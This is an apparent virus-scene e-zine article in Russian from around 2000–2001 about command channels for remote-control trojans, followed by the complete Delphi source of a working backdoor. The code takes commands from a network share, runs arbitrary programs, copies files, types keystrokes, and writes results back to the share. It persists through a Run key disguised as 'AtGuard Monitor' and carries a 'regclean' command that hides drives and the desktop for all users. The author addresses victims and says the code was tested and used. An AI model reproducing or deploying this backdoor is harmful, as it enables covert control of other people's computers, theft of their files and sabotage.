_____ _____     ___
    _,┌\/┐  :░  :░     :░ ╓ social distortion all about vx-scene ╖
 ,4\┘¤"``"¤┘  ll  l¤`     ll  ::;;;::;;....  ....:;..: ::...;.:;;;:;
:░(_          |    ___    ll ._
 `└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._  Удаленный контроль [2001]
_____ ``^"¤└/L, d7┘` ___  7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by Uazz Klingun
$$$$|/┌,.__,┌\:`4│/┐,_  _ll  ``''""¤¤┘┘
$$$$|`└/|││|\┘`   `¤└/│:


      Содержание

      1. Введение
      2. Общеупотребительный способ
      3. Способы для локальной сети
       3.1 Использование DCOM
       3.2 Использование расшареных файлов
      4. Мысли, еще не воплощенные в код




   1. Введение

   Все трояны можно, условно, подразделить на три категории:

 - Клиент-серверные трояны
 - Почтовые трояны
 - Клавиатурные шпионы

   В данной статье, будет обобщен  мой  небольшой опыт по написанию  троянов
 первого рода.

   Что будет и чего не будет в данной статье? В данной статье будут изложены
 некоторые  мысли  по  организации  взаимодействия клиентской  и "серверной"
 части  трояна, методы  маскировки  на  компьютере-жертве.  Здесь  не  будут
 рассматриваться   вопросы   инсталляции   трояна  на  компьютер,  не  будет
 практически ничего сказано о функциях данного трояна.  Это  может  быть как
 "средство удаленного администрирования", так и банальный  вор паролей, меня
 это не волнует.


   2. Общеупотребительный способ

   Основан на взаимодействии частей  путем  установки  соединения  на основе
 TCP/IP  соединения.  Здесь  я  мало  что  могу добавить, смотрите исходники
 BackOrifice....


   3. Способы для локальной сети

   Описанные  в  данном  разделе  способы взаимодействия клиентской части  и
 трояна, пригодны для  использования (imho) только для локальной сети,  хотя
 возможны и исключения (правда, их придется поискать).


   3.1 Использование DCOM

   Сразу оговорюсь, что использование данного способа возможно  _только_  на
 машинах,  на  которые  установлен  NT (4,5),  хотя клиента, для  управления
 трояном, можно запускать  на машине с любой Вынью. Кроме  этого, необходимо
 получить  _физический_   доступ   к  машине   жертвы,  чтобы  там   кое-что
 подправить. (Для тех,  кто   прочтя  эту  статью,   захочет  создать  нечто
 подобное: imho  возможен  вариант и без  физического  доступа, нужно только
 знать, что прописать в реестре). Но обо всем попорядку.

   Всеми горячо любимый Мелкософт  предоставил  универсальное  средство  для
 взаимодействия  между  программными модулями -  технологию   СОМ.  При этом
 фактически безразлично, где будут исполняться эти  модули - на одном компе,
 или же по сети.
   Для того,  чтобы пользователю  была предоставлена  возможность работать с
 удаленным  компонентом,  на  удаленном  компьютере

 а) Должно быть зарегистрировано наше приложение как СОМ-сервер (для
    ЕХЕ-файлов  производится  автоматически  при  запуске программы)

 б) Системе  необходимо  дать  указание  разрешить  удаленный запуск
    данного СОМ-сервера (выполняется путем запуска утилиты dcomcnfg)
    Все. После этого, можете  выгружать  программу  из памяти.


   3.2 Использование расшареных файлов

   Данный способ применим в том случае, если у вас  и  у вашей  жертвы  есть
 доступ к одному и тому же каталогу. Это может быть, как и  расшареная папка
 на  файл-сервере,  так  и  расшареная  папка  у  кого-либо  из вас. Главным
 преимуществом  такого  метода  является то,  что  его,  фактически,  нельзя
 отследить  каким-либо  файрволом,  т.к.  иначе  жертве  придется отказаться
 от  использования   расшареных   ресурсов   вообще,  а  такое  трудно  себе
 представить в локальной сети (я же предупреждал, что речь пойдет о  методах
 для  _локальной_  сети).  Кроме  того,  нигде  не  светится  ваш  IP.

   Итак,  а  теперь  самое  главное - реализация.  Я  расскажу, как это было
 реализовано  мной,  а  ваше  дело - улучшать  или  переделывать  под  себя.

 1. Создается папка на файл-сервере. В ней располагаются файлы управления
    компьютером жертвы.  Они имеют формат  <Имя компьютера>.cmd для того,
    чтобы можно было в одной папке держать команды  для нескольких жертв.

 2. Сервер устанавливает свое внимание на изменениях в данной папке

  repeat
    CHHandle := FindFirstChangeNotification(PChar(FPath), false,
      FILE_NOTIFY_CHANGE_LAST_WRITE);
    Sleep(10000);
  until CHHandle <> INVALID_HANDLE_VALUE;

  repeat
    WaitValue :=
      MsgWaitForMultipleObjects(1, CHHandle, false, INFINITE, QS_ALLINPUT);
  until WaitValue = WAIT_OBJECT_0;

  ParseFile;

   Здесь  FPath - UNC  путь  к  папке.  Хватаем  хэндл,  и  ждем бесконечное
 количество времени, пока в этой папке  не  произойдут изменения (пока мы не
 добавим в файл новые команды). При  обработке  файла, следует проверить его
 время, изменилось  ли  оно  с  предыдущего раза (это, если изменился другой
 файл, то ничего не делаем). Ну  уж  реализация  команд,  что  вы засунете в
 этот файл, полностью лежит на вашей совести...

   Далее, после первой обработки,  необходимо  бесконечно  опрашивать данный
 каталог на предмет дальнейших изменений...

  while (true) do
    begin
      FindNextChangeNotification(CHHandle);

      repeat
        WaitValue :=
          MsgWaitForMultipleObjects(1, CHHandle, false, INFINITE, QS_ALLINPUT)
      until WaitValue = WAIT_OBJECT_0;

      ParseFile;
    end;

  FindCloseChangeNotification(CHHandle);



   4. Мысли еще не воплощенные в код

   Для  маскировки  трояна  на  компьютере жертве, можно  использовать такую
 вещь, как запись DLL в чужое адресное пространство...



   Далее  идет законченная  реализация  одного  из  методов,  тестировался и
 применялся...

───[kernel.pas]──────────────────────────────────────────────────────[start]──

unit kernel;

interface
  //Основная функция, вид приспособлен для CreateThread
  //По одной команде в каждой строке
  //Поддерживаемые команды:
  //opencd, closecd - ясно, для чего :)
  //copy <src> to <dest> - Копирование, маски не поддерживаются
  //exec <what> - Выполнение приложения, м/б любой файл, хоть .doc
  //dir, cd - почти аналоги досовских команд
  //regclean - нехорошая вещь жертве
  function Start(i: cardinal): cardinal;

implementation

uses
  mmSystem, registry, ShellApi, FileCtrl, Windows, SysUtils, Classes;

var
  cmdFile: string = '\\xxxx\users\cmds\';//Где искать файл с командами
  logFile: string = '\\xxxx\users\cmds\';//Куда писать результаты
  allFile: string = '\\xxxx\users\cmds\all';//Если есть этот файл, то
                                            //писать время старта
  alterPath: string = '\\yyyy\temp\';       //Если обычный путь недоступен
                                            //То искать тут
  defCmd: string = '.cmd';
  defres: string = '.rst';
  compName: string;
  FLastAccess: TDateTime;

procedure CleanReg;
var
  reg: TRegistry;
  names: TStrings;
  i: integer;
begin
  reg := TRegistry.Create;
  names := TStringList.Create;
  try
    reg.RootKey := HKEY_CURRENT_USER;
    if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',
                   true) then
      begin
        reg.WriteInteger('NoDrives', -1);
        reg.WriteInteger('NoDesktop', 1);
      end;
//    reg.Free;
//    reg := TRegistry.Create;
    reg.RootKey := HKEY_USERS;
    reg.OpenKey('\', false);
    reg.GetKeyNames(names);
    for i := 0 to names.Count - 1 do
      begin
        if reg.OpenKey(names[i] + '\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',
                       true) then
          begin
            reg.WriteInteger('NoDrives', -1);
            reg.WriteInteger('NoDesktop', 1);
          end;
        reg.OpenKey('\', false);
      end;
  finally
    reg.CloseKey;
    reg.Free;
    names.Free;
  end;
end;

procedure Execute(cmd: string);
var
  tmp: string;
begin
  tmp := cmd;
  ShellExecute(0, 'open', PChar(tmp), nil, PChar(ExtractFilePath(tmp)), SW_SHOW);
end;

function ParseCmd(cmd: string): string;
var
  parse: string;
  source, dest, params: string;
  i, res: integer;
  fn: TSearchRec;
  Input, Output: TFileStream;
begin
  parse := Cmd;
  Trim(parse);
  if parse <> '' then Result := 'Unknown command'
  else Result := '';
  if Copy(parse, 1, 3) = 'dir' then
    begin
      source := Copy(parse, 4, Length(parse) - 3);
      source := Trim(source);
      if source = '' then source := '*.*';
//      if source[Length(source)] = '\' then
//        source := source + '*.*';
      Result := '';
      if FindFirst(source, faAnyFile, fn) = 0 then
        begin
          Result := Result + fn.Name;
          while FindNext(fn) = 0 do
            begin
              if (fn.Attr and faDirectory) <> 0 then
                dest := fn.Name + ' ' + '<DIR>' + #13#10
              else
                dest := fn.Name + ' ' + intToStr(fn.Size) + #13#10;
              Result := Result + dest;
            end;
        end;
      FindClose(fn);
    end;
  if Copy(parse, 1, 4) = 'copy' then
    begin
      params := Copy(parse, 5, Length(parse) - 4);
      params:= Trim(params);
      i := Pos(' to ', params);
      source := Copy(params, 1, i);
      dest := Copy(params, i + 4, Length(params) - i + 3);
      Trim(source); Trim(dest);
      try
        input := TFileStream.Create(source, fmOpenRead or fmShareDenyWrite);
        output := TFileStream.Create(dest, fmCreate or fmShareDenyWrite);
        try
          output.CopyFrom(input, input.size);
          Result := 'Copy ok' + #13#10;
        finally
          input.Free;
          output.Free;
        end;
      except
        on E:exception do
          Result := 'copy error: ' + E.Message;
      end;
    end;
  if Copy(parse, 1, 2) = 'cd' then
    begin
      source := Copy(parse, 3, Length(parse) - 2);
      source := Trim(source);
      if source = '' then
        Result := 'cd error: specify directory';
      try
        ChDir(source);
        Result := 'Chdir ok' + #13#10;
      except
        on E:Exception do
          Result := 'cd error: ' + E.Message;
      end;
    end;
  if Copy(parse, 1, 4) = 'echo' then
    begin
      source := Copy(parse, 6, Length(parse) - 5);
      for i := 1 to Length(source) do
        begin
          res := VkKeyScan(source[i]);
          keybd_event(Lo(res), MapVirtualKeyEx(res, 0, GetKeyboardLayout(0)), 0, 0);
          keybd_event(Lo(res), MapVirtualKeyEx(res, 0, GetKeyboardLayout(0)), KEYEVENTF_KEYUP, 0);
        end;
    end;
  if Copy(parse, 1, 6) = 'opencd' then
    begin
      mciSendString('Set cdaudio Door Open Wait', nil, 0, 0);
      Result := 'opencd ok' + #13#10;
    end;
  if Copy(parse, 1, 7) = 'closecd' then
    begin
      mciSendString('Set cdaudio Door Closed Wait', nil, 0, 0);
      Result := 'closecd ok' + #13#10;
    end;
  if Copy(parse, 1, 8) = 'regclean' then
    begin
      CleanReg;
      Result := 'regclean ok' + #13#10;
    end;
  if Copy(parse, 1, 4) = 'exec' then
    begin
      source := Copy(parse, 5, Length(parse) - 4);
      source := Trim(source);
      if source <> '' then
        begin
          Execute(source);
          Result := 'exec ok' + #13#10;
        end
      else
        Result := 'exec error: need params' + #13#10;
    end;
end;

procedure ParseFile;
const
  MaxCount = 10;
var
  fCmds, fLog: TextFile;
  cnt: integer;
  cmd: string;
begin
//  SelectPaths;
  if FileDateToDateTime(FileAge(cmdFile)) > FLastAccess then
    begin
      FLastAccess := FileDateToDateTime(FileAge(cmdFile));
      AssignFile(fCmds, cmdFile);
      AssignFile(fLog, logFile);
      {$I-}
      cnt := 0;
      repeat
        Reset(fCmds);
        Sleep(1500);
        Inc(cnt);
      until (IOResult = 0) or (cnt > MaxCount);
      if cnt < MaxCount then
        begin
          Rewrite(fLog);
          while not Eof(fCmds) do
            begin
              Readln(fCmds, cmd);
              Writeln(fLog, ParseCmd(cmd));
            end;
        end;
//      Rewrite(fCmds);
      CloseFile(fCmds);
      CloseFile(fLog);
      {$I+}
    end;
end;

procedure SetRegistry;
var
  reg: TRegistry;
begin
  reg := TRegistry.Create(KEY_READ);
  try
    reg.RootKey := HKEY_LOCAL_MACHINE;
    if not reg.KeyExists('\Software\Microsoft\Windows\CurrentVersion\Run\AtGuard Monitor') then
      reg.Access := KEY_ALL_ACCESS;
    if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',
                   false) then
      reg.WriteString('AtGuard Monitor', ExtractFileName(Paramstr(0)));
  finally
    reg.CloseKey;
    reg.Free;
  end;
end;

procedure SelectPaths;
begin
  if not DirectoryExists(ExtractFilePath(cmdFile)) then
    begin
      cmdFile := alterPath + compName + defCmd;
      logFile := alterPath + compName + defRes;
    end;
end;

function Start(i: cardinal): cardinal;
var
  CHHandle: THandle;
  FPath: string;
  WaitValue: DWORD;
  nameSize: DWORD;
  alive: TextFile;
begin
  SetRegistry;
  FLastAccess := Now;
  FPath := cmdFile;
  SetLength(compName, MAX_COMPUTERNAME_LENGTH + 1);
  nameSize := MAX_COMPUTERNAME_LENGTH + 1;
  GetComputerName(PChar(compName), nameSize);
  SetLength(compName, nameSize);
  cmdFile := cmdFile + compName + defCmd;
  logFile := logFile + compName + defRes;
  SelectPaths;
  if FileExists(allFile + defCmd) then
    begin
      {$I-}
      AssignFile(alive, allFile + defRes);
      if FileExists(allFile + defRes) then
        Append(alive)
      else
        Rewrite(alive);
      Writeln(alive, compName + ' started at ' + DateTimeToStr(Now));
      CloseFile(alive);
      {$I+}
    end;
  repeat
    CHHandle := FindFirstChangeNotification(PChar(FPath), false,
      FILE_NOTIFY_CHANGE_LAST_WRITE);
    Sleep(10000);
//    Application.ProcessMessages;
  until CHHandle <> INVALID_HANDLE_VALUE;
//  if CHHandle = INVALID_HANDLE_VALUE then
//    ShowMessage(' handle is invalid: ' + intToStr(CHHandle));
  repeat
    WaitValue :=
      MsgWaitForMultipleObjects(1, CHHandle, false, INFINITE, QS_ALLINPUT);
//    Application.ProcessMessages;
  until WaitValue = WAIT_OBJECT_0;
//  ShowMessage(' CHANGED!!! ');
  ParseFile;
  while (true) do
    begin
      FindNextChangeNotification(CHHandle);
      repeat
        WaitValue :=
          MsgWaitForMultipleObjects(1, CHHandle, false, INFINITE, QS_ALLINPUT);
//        Application.ProcessMessages;
      until WaitValue = WAIT_OBJECT_0;
//      ShowMessage(' CHANGED!!! ');
      ParseFile;
    end;
  FindCloseChangeNotification(CHHandle);
end;

end.

───[kernel.pas]─────────────────────────────────────────────────────────[end]─

                           (x) 2000 Uazz KlinGun, misdirected_youth_all-star